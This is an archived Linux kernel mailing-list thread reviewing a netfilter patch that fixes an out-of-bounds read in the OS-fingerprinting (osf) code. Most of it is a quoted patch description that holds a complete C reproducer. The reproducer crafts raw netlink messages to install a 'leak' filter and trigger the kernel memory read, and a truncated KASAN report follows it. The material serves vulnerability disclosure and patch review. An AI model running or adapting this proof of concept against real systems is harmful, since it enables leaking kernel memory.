Message ID | 20230831123931.60606-1-wander@redhat.com (mailing list archive) |
---|---|
State | Superseded |
Delegated to: | Netdev Maintainers |
Headers | show |
Series | [nf,v2] netfilter/osf: avoid OOB read | expand |
Wander Lairson Costa <wander@redhat.com> wrote: > > diff --git a/net/netfilter/nfnetlink_osf.c b/net/netfilter/nfnetlink_osf.c > index 8f1bfa6ccc2d..13fedf2aaa0f 100644 > --- a/net/netfilter/nfnetlink_osf.c > +++ b/net/netfilter/nfnetlink_osf.c > @@ -315,6 +315,9 @@ static int nfnl_osf_add_callback(struct sk_buff *skb, > > f = nla_data(osf_attrs[OSF_ATTR_FINGER]); > > + if (f->opt_num > ARRAY_SIZE(f->opt)) > + return -EINVAL; > + Hmm, this isn't enough; as far as I can see there is no validation whatsover. This should also check that all of: char genre[MAXGENRELEN]; char version[MAXGENRELEN]; char subtype[MAXGENRELEN]; ... have a NUL byte. You could use strnlen() == ARRAY_SIZE() -> EINVAL for those. Maybe there is more to be validated, I did not followup with all the nested structures buried in user_finger struct.
On Thu, Aug 31, 2023 at 10:37 AM Florian Westphal <fw@strlen.de> wrote: > > Wander Lairson Costa <wander@redhat.com> wrote: > > > > diff --git a/net/netfilter/nfnetlink_osf.c b/net/netfilter/nfnetlink_osf.c > > index 8f1bfa6ccc2d..13fedf2aaa0f 100644 > > --- a/net/netfilter/nfnetlink_osf.c > > +++ b/net/netfilter/nfnetlink_osf.c > > @@ -315,6 +315,9 @@ static int nfnl_osf_add_callback(struct sk_buff *skb, > > > > f = nla_data(osf_attrs[OSF_ATTR_FINGER]); > > > > + if (f->opt_num > ARRAY_SIZE(f->opt)) > > + return -EINVAL; > > + > > Hmm, this isn't enough; as far as I can see there is no validation > whatsoever. > I didn't get it. It guarantees there is no OOB read of the opt array. > This should also check that all of: > > char genre[MAXGENRELEN]; > char version[MAXGENRELEN]; > char subtype[MAXGENRELEN]; > > ... have a NUL byte. You could use strnlen() == ARRAY_SIZE() -> EINVAL > for those. > I think the correct way would be memchr(genre/version/subtype, 0, MAXGENRELEN). > Maybe there is more to be validated. I did not followup with all the > nested structures buried in user_finger struct. > I focused on the reported issue mainly because I am unfamiliar with the Netfilter layer. Let me take a deeper look.
Wander Lairson Costa <wander@redhat.com> wrote: > On Thu, Aug 31, 2023 at 10:37 AM Florian Westphal <fw@strlen.de> wrote: > > > > Wander Lairson Costa <wander@redhat.com> wrote: > > > > > > diff --git a/net/netfilter/nfnetlink_osf.c b/net/netfilter/nfnetlink_osf.c > > > index 8f1bfa6ccc2d..13fedf2aaa0f 100644 > > > --- a/net/netfilter/nfnetlink_osf.c > > > +++ b/net/netfilter/nfnetlink_osf.c > > > @@ -315,6 +315,9 @@ static int nfnl_osf_add_callback(struct sk_buff *skb, > > > > > > f = nla_data(osf_attrs[OSF_ATTR_FINGER]); > > > > > > + if (f->opt_num > ARRAY_SIZE(f->opt)) > > > + return -EINVAL; > > > + > > > > Hmm, this isn't enough; as far as I can see there is no validation > > whatsoever. > > > > I didn't get it. It guarantees there is no OOB read of the opt array. Sorry. This is enough to validate opt_num. But other members need validation too. > > This should also check that all of: > > > > char genre[MAXGENRELEN]; > > char version[MAXGENRELEN]; > > char subtype[MAXGENRELEN]; > > > > ... have a NUL byte. You could use strnlen() == ARRAY_SIZE() -> EINVAL > > for those. > > > > I think the correct way would be memchr(genre/version/subtype, 0, MAXGENRELEN). I don't really care how it looks like, just that its clear that it is supposed to catch and reject non-null terminated c strings :-) > > Maybe there is more to be validated. I did not followup with all the > > > > I focused on the reported issue mainly because I am unfamiliar with > the Netfilter layer. Let me take a deeper look. I don't think there is anyone really familiar with OSF infra, it was added quite a while back.
On 31/08/2023 14:39, Wander Lairson Costa wrote: > The opt_num field is controlled by user mode and is not currently > validated inside the kernel. An attacker can take advantage of this to > trigger an OOB read and potentially leak information. > > Reproducer: > > void install_filter_for_leak() > { > char buf[0x1000] = {0}; > struct iovec io = { > .iov_base = buf, > .iov_len = sizeof(buf) > }; > struct msghdr msg = {0}; > msg.msg_iov = &io; > msg.msg_iovlen = 1; > > int fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_NETFILTER); > setsockopt(fd, SOL_SOCKET, SO_REUSEADDR, &(int){1}, sizeof(int)); > > memset(buf, 0, sizeof(buf)); > *(uint32_t*)(buf) = 0x14; > *(uint16_t*)(buf+4) = 0x10; > *(uint16_t*)(buf+6) = 1; > *(uint32_t*)(buf+8) = 0x63072925; > *(uint16_t*)(buf+0x12) = 0xa; > *(uint32_t*)(buf+0x14) = 0x20; > *(uint16_t*)(buf+0x18) = 0xa00; > *(uint16_t*)(buf+0x1a) = 0x5; > *(uint32_t*)(buf+0x1c) = 0x63072926; > *(uint8_t*)(buf+0x24) = 2; > > *(uint16_t*)(buf+0x28) = 0xb; > *(uint16_t*)(buf+0x2a) = 1; > strcpy((void*)(buf+0x2c), "filter"); > > *(uint32_t*)(buf+0x34) = 0x14; > *(uint16_t*)(buf+0x38) = 0x11; > *(uint16_t*)(buf+0x3a) = 1; > *(uint32_t*)(buf+0x3c) = 0x63072927; > *(uint16_t*)(buf+0x46) = 0xa; > io.iov_len = 0x48; > sendmsg(fd, &msg, 0); > > memset(buf, 0, sizeof(buf)); > *(uint32_t*)(buf) = 0x14; > *(uint16_t*)(buf+4) = 0x10; > *(uint16_t*)(buf+6) = 1; > *(uint32_t*)(buf+8) = 0x63072925; > *(uint16_t*)(buf+0x12) = 0xa; > *(uint16_t*)(buf+0x14) = 0x40; > *(uint16_t*)(buf+0x18) = 0xa03; > *(uint16_t*)(buf+0x1a) = 0x5; > *(uint32_t*)(buf+0x1c) = 0x63072926; > *(uint32_t*)(buf+0x24) = 2; > > *(uint16_t*)(buf+0x28) = 0xb; > *(uint16_t*)(buf+0x2a) = 1; > strcpy((void*)(buf+0x2c), "filter"); > *(uint16_t*)(buf+0x34) = 0xa; > *(uint16_t*)(buf+0x36) = 3; > strcpy((void*)(buf+0x38), "input"); > *(uint16_t*)(buf+0x40) = 0x14; > *(uint16_t*)(buf+0x42) = 0x8004; > *(uint16_t*)(buf+0x44) = 8; > *(uint16_t*)(buf+0x46) = 1; > *(uint32_t*)(buf+0x48) = 0x1000000; > *(uint16_t*)(buf+0x4c) = 8; > *(uint16_t*)(buf+0x4e) = 2; > *(uint32_t*)(buf+0x50) = 0; > > *(uint32_t*)(buf+0x54) = 0x14; > *(uint16_t*)(buf+0x58) = 0x11; > *(uint16_t*)(buf+0x5a) = 1; > *(uint32_t*)(buf+0x5c) = 0x63072f50; > *(uint16_t*)(buf+0x66) = 0xa; > io.iov_len = 0x68; > sendmsg(fd, &msg, 0); > > memset(buf, 0, sizeof(buf)); > *(uint32_t*)(buf) = 0x14; > *(uint16_t*)(buf+4) = 0x10; > *(uint16_t*)(buf+6) = 1; > *(uint32_t*)(buf+8) = 0x63072925; > *(uint16_t*)(buf+0x12) = 0xa; > *(uint16_t*)(buf+0x14) = 0x40; > *(uint16_t*)(buf+0x18) = 0xa03; > *(uint16_t*)(buf+0x1a) = 5; > *(uint32_t*)(buf+0x1c) = 0x63072926; > *(uint32_t*)(buf+0x24) = 2; > *(uint16_t*)(buf+0x28) = 0xb; > *(uint16_t*)(buf+0x2a) = 1; > strcpy((void*)(buf+0x2c), "filter"); > *(uint16_t*)(buf+0x34) = 0xb; > *(uint16_t*)(buf+0x36) = 3; > strcpy((void*)(buf+0x38), "output"); > *(uint16_t*)(buf+0x40) = 0x14; > *(uint16_t*)(buf+0x42) = 0x8004; > *(uint16_t*)(buf+0x44) = 8; > *(uint16_t*)(buf+0x46) = 1; > *(uint32_t*)(buf+0x48) = 0x3000000; > *(uint16_t*)(buf+0x4c) = 8; > *(uint16_t*)(buf+0x4e) = 2; > *(uint32_t*)(buf+0x50) = 0; > > *(uint32_t*)(buf+0x54) = 0x14; > *(uint16_t*)(buf+0x58) = 0x11; > *(uint16_t*)(buf+0x5a) = 1; > *(uint32_t*)(buf+0x5c) = 0x63072f50; > *(uint16_t*)(buf+0x66) = 0xa; > io.iov_len = 0x68; > sendmsg(fd, &msg, 0); > > memset(buf, 0, sizeof(buf)); > *(uint32_t*)(buf) = 0x14; > *(uint16_t*)(buf+4) = 0x10; > *(uint16_t*)(buf+6) = 1; > *(uint32_t*)(buf+8) = 0x63072925; > *(uint16_t*)(buf+0x12) = 0xa; > *(uint16_t*)(buf+0x14) = 0x2c; > *(uint16_t*)(buf+0x18) = 0xa03; > *(uint16_t*)(buf+0x1a) = 0x5; > *(uint32_t*)(buf+0x1c) = 0x63072926; > *(uint32_t*)(buf+0x24) = 2; > *(uint16_t*)(buf+0x28) = 0xb; > *(uint16_t*)(buf+0x2a) = 1; > strcpy((void*)(buf+0x2c), "filter"); > *(uint16_t*)(buf+0x34) = 0x9; > *(uint16_t*)(buf+0x36) = 3; > strcpy((void*)(buf+0x38), "leak"); > > *(uint32_t*)(buf+0x40) = 0x14; > *(uint16_t*)(buf+0x44) = 0x11; > *(uint16_t*)(buf+0x46) = 1; > *(uint32_t*)(buf+0x48) = 0x63072f50; > *(uint16_t*)(buf+0x52) = 0xa; > io.iov_len = 0x54; > sendmsg(fd, &msg, 0); > > char buf5[] = { > 0x14, 0x00, 0x00, 0x00, 0x10, 0x00, 0x01, 0x00, > 0x74, 0x41, 0x07, 0x63, 0x00, 0x00, 0x00, 0x00, > 0x00, 0x00, 0x0a, 0x00, 0x1c, 0x01, 0x00, 0x00, > 0x06, 0x0a, 0x05, 0x0c, 0x75, 0x41, 0x07, 0x63, > 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, > 0x0b, 0x00, 0x01, 0x00, 0x66, 0x69, 0x6c, 0x74, > 0x65, 0x72, 0x00, 0x00, 0x0a, 0x00, 0x02, 0x00, > 0x69, 0x6e, 0x70, 0x75, 0x74, 0x00, 0x00, 0x00, > 0xf0, 0x00, 0x04, 0x80, 0x24, 0x00, 0x01, 0x80, > 0x09, 0x00, 0x01, 0x00, 0x6d, 0x65, 0x74, 0x61, > 0x00, 0x50, 0x02, 0x00, 0x14, 0x00, 0x02, 0x80, > 0x08, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x10, > 0x08, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x01, > 0x2c, 0x00, 0x01, 0x80, 0x08, 0x00, 0x01, 0x00, > 0x63, 0x6d, 0x70, 0x00, 0x20, 0x00, 0x02, 0x80, > 0x08, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x01, > 0x08, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, > 0x0c, 0x00, 0x03, 0x80, 0x05, 0x00, 0x01, 0x00, > 0x06, 0xb0, 0x1b, 0x00, 0x34, 0x00, 0x01, 0x80, > 0x0c, 0x00, 0x01, 0x00, 0x70, 0x61, 0x79, 0x6c, > 0x6f, 0x61, 0x64, 0x00, 0x24, 0x00, 0x02, 0x80, > 0x08, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x01, > 0x08, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x02, > 0x08, 0x00, 0x03, 0x00, 0x00, 0x00, 0x00, 0x0d, > 0x08, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x01, > 0x2c, 0x00, 0x01, 0x80, 0x08, 0x00, 0x01, 0x00, > 0x63, 0x6d, 0x70, 0x00, 0x20, 0x00, 0x02, 0x80, > 0x08, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x01, > 0x08, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, > 0x0c, 0x00, 0x03, 0x80, 0x05, 0x00, 0x01, 0x00, > 0x18, 0xd3, 0x01, 0x00, 0x3c, 0x00, 0x01, 0x80, > 0x0e, 0x00, 0x01, 0x00, 0x69, 0x6d, 0x6d, 0x65, > 0x64, 0x69, 0x61, 0x74, 0x65, 0x00, 0x00, 0x00, > 0x28, 0x00, 0x02, 0x80, 0x08, 0x00, 0x01, 0x00, > 0x00, 0x00, 0x00, 0x00, 0x1c, 0x00, 0x02, 0x80, > 0x18, 0x00, 0x02, 0x80, 0x08, 0x00, 0x01, 0x00, > 0xff, 0xff, 0xff, 0xfd, 0x09, 0x00, 0x02, 0x00, > 0x6c, 0x65, 0x61, 0x6b, 0x00, 0x00, 0x00, 0x00, > 0x14, 0x00, 0x00, 0x00, 0x11, 0x00, 0x01, 0x00, > 0x76, 0x41, 0x07, 0x63, 0x00, 0x00, 0x00, 0x00, > 0x00, 0x00, 0x0a, 0x00}; > memset(buf, 0, sizeof(buf)); > memcpy(buf, buf5, sizeof(buf5)); > io.iov_len = 0x144; > sendmsg(fd, &msg, 0); > > char buf6[] = { > 0x14, 0x00, 0x00, 0x00, 0x10, 0x00, 0x01, 0x00, > 0xd9, 0x4e, 0x07, 0x63, 0x00, 0x00, 0x00, 0x00, > 0x00, 0x00, 0x0a, 0x00, 0x54, 0x01, 0x00, 0x00, > 0x06, 0x0a, 0x05, 0x0c, 0xda, 0x4e, 0x07, 0x63, > 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, > 0x0b, 0x00, 0x01, 0x00, 0x66, 0x69, 0x6c, 0x74, > 0x65, 0x72, 0x00, 0x00, 0x09, 0x00, 0x02, 0x00, > 0x6c, 0x65, 0x61, 0x6b, 0x00, 0x00, 0x00, 0x00, > 0x28, 0x01, 0x04, 0x80, 0x34, 0x00, 0x01, 0x80, > 0x0c, 0x00, 0x01, 0x00, 0x70, 0x61, 0x79, 0x6c, > 0x6f, 0x61, 0x64, 0x00, 0x24, 0x00, 0x02, 0x80, > 0x08, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x02, > 0x08, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x02, > 0x08, 0x00, 0x03, 0x00, 0x00, 0x00, 0x00, 0x03, > 0x08, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x01, > 0x34, 0x00, 0x01, 0x80, 0x0c, 0x00, 0x01, 0x00, > 0x70, 0x61, 0x79, 0x6c, 0x6f, 0x61, 0x64, 0x00, > 0x24, 0x00, 0x02, 0x80, 0x08, 0x00, 0x05, 0x00, > 0x00, 0x00, 0x00, 0x02, 0x08, 0x00, 0x02, 0x00, > 0x00, 0x00, 0x00, 0x02, 0x08, 0x00, 0x03, 0x00, > 0x00, 0x00, 0x00, 0x0d, 0x08, 0x00, 0x04, 0x00, > 0x00, 0x00, 0x00, 0x01, 0x34, 0x00, 0x01, 0x80, > 0x0c, 0x00, 0x01, 0x00, 0x70, 0x61, 0x79, 0x6c, > 0x6f, 0x61, 0x64, 0x00, 0x24, 0x00, 0x02, 0x80, > 0x08, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x02, > 0x08, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x01, > 0x08, 0x00, 0x03, 0x00, 0x00, 0x00, 0x00, 0x08, > 0x08, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x01, > 0x2c, 0x00, 0x01, 0x80, 0x08, 0x00, 0x01, 0x00, > 0x63, 0x6d, 0x70, 0x00, 0x20, 0x00, 0x02, 0x80, > 0x08, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x02, > 0x08, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x01, > 0x0c, 0x00, 0x03, 0x80, 0x05, 0x00, 0x01, 0x00, > 0x02, 0x00, 0x02, 0x80, 0x2c, 0x00, 0x01, 0x80, > 0x08, 0x00, 0x01, 0x00, 0x63, 0x6d, 0x70, 0x00, > 0x20, 0x00, 0x02, 0x80, 0x08, 0x00, 0x01, 0x00, > 0x00, 0x00, 0x00, 0x02, 0x08, 0x00, 0x02, 0x00, > 0x00, 0x00, 0x00, 0x01, 0x0c, 0x00, 0x03, 0x80, > 0x05, 0x00, 0x01, 0x00, 0x02, 0x00, 0x01, 0x00, > 0x30, 0x00, 0x01, 0x80, 0x0e, 0x00, 0x01, 0x00, > 0x69, 0x6d, 0x6d, 0x65, 0x64, 0x69, 0x61, 0x74, > 0x65, 0x00, 0x02, 0x00, 0x1c, 0x00, 0x02, 0x80, > 0x08, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, > 0x10, 0x00, 0x02, 0x80, 0x0c, 0x00, 0x02, 0x80, > 0x08, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, > 0x14, 0x00, 0x00, 0x00, 0x11, 0x00, 0x01, 0x00, > 0xdb, 0x4e, 0x07, 0x63, 0x00, 0x00, 0x00, 0x00, > 0x00, 0x00, 0x0a, 0x00}; > memset(buf, 0, sizeof(buf)); > memcpy(buf, buf6, sizeof(buf6)); > io.iov_len = 0x17c; > sendmsg(fd, &msg, 0); > > char buf7[] = { > 0x14, 0x00, 0x00, 0x00, 0x10, 0x00, 0x01, 0x00, > 0x7c, 0x64, 0x07, 0x63, 0x00, 0x00, 0x00, 0x00, > 0x00, 0x00, 0x0a, 0x00, 0x50, 0x00, 0x00, 0x00, > 0x06, 0x0a, 0x05, 0x0c, 0x7d, 0x64, 0x07, 0x63, > 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, > 0x0b, 0x00, 0x01, 0x00, 0x66, 0x69, 0x6c, 0x74, > 0x65, 0x72, 0x00, 0x00, 0x09, 0x00, 0x02, 0x00, > 0x6c, 0x65, 0x61, 0x6b, 0x00, 0x00, 0x00, 0x00, > 0x24, 0x00, 0x04, 0x80, 0x20, 0x00, 0x01, 0x80, > 0x08, 0x00, 0x01, 0x00, 0x6f, 0x73, 0x66, 0x00, > 0x14, 0x00, 0x02, 0x80, 0x08, 0x00, 0x01, 0x00, > 0x00, 0x00, 0x00, 0x04, 0x08, 0x00, 0x03, 0x00, > 0x00, 0x00, 0x00, 0x01, 0x14, 0x00, 0x00, 0x00, > 0x11, 0x00, 0x01, 0x00, 0x7e, 0x64, 0x07, 0x63, > 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0a, 0x00, > }; > memset(buf, 0, sizeof(buf)); > memcpy(buf, buf7, sizeof(buf7)); > io.iov_len = 0x78; > sendmsg(fd, &msg, 0); > > char buf8[] = { > 0x14, 0x00, 0x00, 0x00, 0x10, 0x00, 0x01, 0x00, > 0xc9, 0x64, 0x07, 0x63, 0x00, 0x00, 0x00, 0x00, > 0x00, 0x00, 0x0a, 0x00, 0x28, 0x01, 0x00, 0x00, > 0x06, 0x0a, 0x05, 0x0c, 0xca, 0x64, 0x07, 0x63, > 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, > 0x0b, 0x00, 0x01, 0x00, 0x66, 0x69, 0x6c, 0x74, > 0x65, 0x72, 0x00, 0x00, 0x09, 0x00, 0x02, 0x00, > 0x6c, 0x65, 0x61, 0x6b, 0x00, 0x00, 0x00, 0x00, > 0xfc, 0x00, 0x04, 0x80, 0x34, 0x00, 0x01, 0x80, > 0x0c, 0x00, 0x01, 0x00, 0x70, 0x61, 0x79, 0x6c, > 0x6f, 0x61, 0x64, 0x00, 0x24, 0x00, 0x02, 0x80, > 0x08, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x04, > 0x08, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x02, > 0x08, 0x00, 0x03, 0x00, 0x00, 0x00, 0x00, 0x20, > 0x08, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x10, > 0x34, 0x00, 0x01, 0x80, 0x0c, 0x00, 0x01, 0x00, > 0x70, 0x61, 0x79, 0x6c, 0x6f, 0x61, 0x64, 0x00, > 0x24, 0x00, 0x02, 0x80, 0x08, 0x00, 0x01, 0x00, > 0x00, 0x00, 0x00, 0x02, 0x08, 0x00, 0x02, 0x00, > 0x00, 0x00, 0x00, 0x02, 0x08, 0x00, 0x03, 0x00, > 0x00, 0x00, 0x00, 0x02, 0x08, 0x00, 0x04, 0x00, > 0x00, 0x00, 0x00, 0x01, 0x34, 0x00, 0x01, 0x80, > 0x0c, 0x00, 0x01, 0x00, 0x70, 0x61, 0x79, 0x6c, > 0x6f, 0x61, 0x64, 0x00, 0x24, 0x00, 0x02, 0x80, > 0x08, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x02, > 0x08, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x02, > 0x08, 0x00, 0x03, 0x00, 0x00, 0x00, 0x00, 0x0d, > 0x08, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x01, > 0x2c, 0x00, 0x01, 0x80, 0x08, 0x00, 0x01, 0x00, > 0x63, 0x6d, 0x70, 0x00, 0x20, 0x00, 0x02, 0x80, > 0x08, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x02, > 0x08, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x01, > 0x0c, 0x00, 0x03, 0x80, 0x05, 0x00, 0x01, 0x00, > 0x18, 0x00, 0x02, 0x80, 0x30, 0x00, 0x01, 0x80, > 0x0e, 0x00, 0x01, 0x00, 0x69, 0x6d, 0x6d, 0x65, > 0x64, 0x69, 0x61, 0x74, 0x65, 0x00, 0x01, 0x00, > 0x1c, 0x00, 0x02, 0x80, 0x08, 0x00, 0x01, 0x00, > 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x02, 0x80, > 0x0c, 0x00, 0x02, 0x80, 0x08, 0x00, 0x01, 0x00, > 0x00, 0x00, 0x00, 0x00, 0x14, 0x00, 0x00, 0x00, > 0x11, 0x00, 0x01, 0x00, 0xcb, 0x64, 0x07, 0x63, > 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0a, 0x00, > }; > memset(buf, 0, sizeof(buf)); > memcpy(buf, buf8, sizeof(buf8)); > io.iov_len = 0x150; > sendmsg(fd, &msg, 0); > } > > void *tcp_recv(void * data){ > > int sockfd, connfd; > struct sockaddr_in servaddr; > int len, n; > > if ( (sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0 ) { > perror("socket creation failed"); > exit(EXIT_FAILURE); > } > > memset(&servaddr, 0, sizeof(servaddr)); > > servaddr.sin_family = AF_INET; > servaddr.sin_addr.s_addr = inet_addr("127.0.0.1");; > servaddr.sin_port = htons(6146); > > if ( bind(sockfd, (const struct sockaddr *)&servaddr, > sizeof(servaddr)) < 0 ){ > perror("bind failed"); > exit(EXIT_FAILURE); > } > > int yes = 1; > if (setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &yes, > sizeof(int)) == -1) { > perror("setsockopt failed"); > exit(EXIT_FAILURE); > } > > if ((listen(sockfd, 1)) < 0) { > perror("listen failed"); > exit(EXIT_FAILURE); > } > > connfd = accept(sockfd, NULL, 0); > if (connfd < 0) { > perror("accept failed"); > exit(EXIT_FAILURE); > } > len = 0; > > while(1) > { > if(len >= 128) > break; > n = read(connfd, data + len, 128-len); > len += n; > } > > close(sockfd); > close(connfd); > > return NULL; > } > > int tcp_connect() > { > int sockfd; > struct sockaddr_in servaddr; > if ( (sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0 ) { > perror("socket creation failed"); > exit(EXIT_FAILURE); > } > memset(&servaddr, 0, sizeof(servaddr)); > > servaddr.sin_family = AF_INET; > servaddr.sin_addr.s_addr = inet_addr("127.0.0.1");; > servaddr.sin_port = htons(6146); > > if (connect(sockfd, (const struct sockaddr *)&servaddr, > sizeof(servaddr)) != 0) { > perror("connect failed"); > exit(EXIT_FAILURE); > } > return sockfd; > } > > int add_osf() > { > int fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_NETFILTER); > if (fd == -1) { > errx(EXIT_FAILURE, "socket failed"); > } > > char iobuf1[0x268] = {0}; > *(uint32_t*)(iobuf1) = 0x268; > *(uint8_t*)(iobuf1+4) = 0; > *(uint8_t*)(iobuf1+5) = 0x5; > *(uint16_t*)(iobuf1+6) = 0x405; > *(uint32_t*)(iobuf1+8) = 0x63064c36; > *(uint32_t*)(iobuf1+0x10) = 0; > > *(uint16_t*)(iobuf1+0x14) = 0x254; > *(uint16_t*)(iobuf1+0x16) = 1; > *(uint32_t*)(iobuf1+0x18) = 1; > *(uint32_t*)(iobuf1+0x1c) = 4; > *(uint8_t*)(iobuf1+0x20) = 2; > *(uint8_t*)(iobuf1+0x21) = 0x1; > *(uint16_t*)(iobuf1+0x22) = 0xb4; > *(uint16_t*)(iobuf1+0x24) = 0; > *(uint16_t*)(iobuf1+0x26) = 0xff; > strcpy((void*)(iobuf1+0x28), "Windows"); > strcpy((void*)(iobuf1+0x48), "98"); > *(uint16_t*)(iobuf1+0x88) = 2; > *(uint16_t*)(iobuf1+0x8a) = 4; > *(uint16_t*)(iobuf1+0x94) = 1; > *(uint16_t*)(iobuf1+0x96) = 1; > *(uint16_t*)(iobuf1+0xa0) = 1; > *(uint16_t*)(iobuf1+0xa2) = 1; > *(uint16_t*)(iobuf1+0xac) = 4; > *(uint16_t*)(iobuf1+0xae) = 2; > struct iovec io1 = { > .iov_base = iobuf1, > .iov_len = sizeof(iobuf1) > }; > struct msghdr msg1 = {0}; > msg1.msg_iov = &io1; > msg1.msg_iovlen = 1; > sendmsg(fd, &msg1, 0); > > return 0; > } > > int main(int argc, char *argv[]) > { > add_osf(); > > int tid, status; > pthread_t p_thread; > int sockfd; > char buf[128] = {0}; > > printf("[+] Create tcp communication\n"); > tid = pthread_create(&p_thread, NULL, tcp_recv, (void *)buf); > printf(" [-] wait 1sec for server\n"); > usleep(10000); > printf(" [-] connect to server\n"); > sockfd = tcp_connect(); > > printf("[+] Install Filter for leak\n"); > install_filter_for_leak(); > > printf("[+] Send packet and read data\n"); > write(sockfd, buf, 128); > pthread_join(p_thread, (void **)&status); > > printf("[+] Remove filter\n"); > int fd1 = socket(AF_NETLINK, SOCK_RAW, NETLINK_NETFILTER); > char iobuf1[0x48] = {0}; > *(uint32_t*)(iobuf1) = 0x14; > *(uint16_t*)(iobuf1+4) = 0x10; > *(uint16_t*)(iobuf1+6) = 1; > *(uint32_t*)(iobuf1+8) = 0x63072925; > *(uint16_t*)(iobuf1+0x12) = 0xa; > *(uint16_t*)(iobuf1+0x14) = 0x20; > *(uint16_t*)(iobuf1+0x18) = 0xa02; > *(uint16_t*)(iobuf1+0x1a) = 0x5; > *(uint32_t*)(iobuf1+0x1c) = 0x63072926; > *(uint32_t*)(iobuf1+0x24) = 2; > *(uint16_t*)(iobuf1+0x28) = 0xb; > *(uint16_t*)(iobuf1+0x2a) = 1; > strcpy((void*)(iobuf1+0x2c), "filter"); > *(uint32_t*)(iobuf1+0x34) = 0x14; > *(uint16_t*)(iobuf1+0x38) = 0x11; > *(uint16_t*)(iobuf1+0x3a) = 1; > *(uint32_t*)(iobuf1+0x3c) = 0x63072927; > *(uint16_t*)(iobuf1+0x46) = 0xa; > struct iovec io1 = { > .iov_base = iobuf1, > .iov_len = sizeof(iobuf1) > }; > struct msghdr msg1 = {0}; > msg1.msg_iov = &io1; > msg1.msg_iovlen = 1; > sendmsg(fd1, &msg1, 0); > > return 0; > } > > KASAN report: > > ================================================================== > BUG: KASAN: slab-out-of-bounds in nf_osf_match_one+0xbed/0xd10 linux-6.0-rc4/net/netfilter/nfnetlink_osf.c:88 > Read of size 2 at addr ffff88804bc64272 by task poc/6431 > > CPU: 1 PID: 6431 Comm: poc Not tainted 6.0.0-rc4 #1 > Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.14.0-0-g155821a1990b-prebuilt.qemu.org 04/01/2014 > Call Trace: > <IRQ> > __dump_stack linux-6.0-rc4/lib/dump_stack.c:88 > dump_stack_lvl+0xcd/0x134 linux-6.0-rc4/lib/dump_stack.c:106 > print_address_description linux-6.0-rc4/mm/kasan/report.c:317 > print_report.cold+0x2ba/0x6e9 linux-6.0-rc4/mm/kasan/report.c:433 > kasan_report+0xb1/0x1e0 linux-6.0-rc4/mm/kasan/report.c:495 > nf_osf_match_one+0xbed/0xd10 linux-6.0-rc4/net/netfilter/nfnetlink_osf.c:88 > nf_osf_find+0x186/0x2f0 linux-6.0-rc4/net/netfilter/nfnetlink_osf.c:281 > nft_osf_eval+0x37f/0x590 linux-6.0-rc4/net/netfilter/nft_osf.c:47 > expr_call_ops_eval linux-6.0-rc4/net/netfilter/nf_tables_core.c:214 > nft_do_chain+0x2b0/0x1490 linux-6.0-rc4/net/netfilter/nf_tables_core.c:264 > nft_do_chain_ipv4+0x17c/0x1f0 linux-6.0-rc4/net/netfilter/nft_chain_filter.c:23 > nf_hook_entry_hookfn linux-6.0-rc4/./include/linux/netfilter.h:142 > nf_hook_slow+0xc5/0x1f0 linux-6.0-rc4/net/netfilter/core.c:620 > nf_hook linux-6.0-rc4/./include/linux/netfilter.h:262 > NF_HOOK linux-6.0-rc4/./include/linux/netfilter.h:305 > ip_local_deliver+0x2f5/0x4e0 linux-6.0-rc4/net/ipv4/ip_input.c:254 > dst_input linux-6.0-rc4/./include/net/dst.h:461 > ip_rcv_finish+0x1cb/0x2f0 linux-6.0-rc4/net/ipv4/ip_input.c:444 > NF_HOOK linux-6.0-rc4/./include/linux/netfilter.h:307 > NF_HOOK linux-6.0-rc4/./include/linux/netfilter.h:301 > ip_rcv+0xc4/0x3b0 linux-6.0-rc4/net/ipv4/ip_input.c:564 > __netif_receive_skb_one_core+0x114/0x180 linux-6.0-rc4/net/core/dev.c:5485 > __netif_receive_skb+0x1f/0x1c0 linux-6.0-rc4/net/core/dev.c:5599 > process_backlog+0x13a/0x690 linux-6.0-rc4/net/core/dev.c:5927 > __napi_poll.constprop.0+0xaf/0x430 linux-6.0-rc4/net/core/dev.c:6511 > napi_poll linux-6.0-rc4/net/core/dev.c:6578 > net_rx_action+0x8d2/0xc60 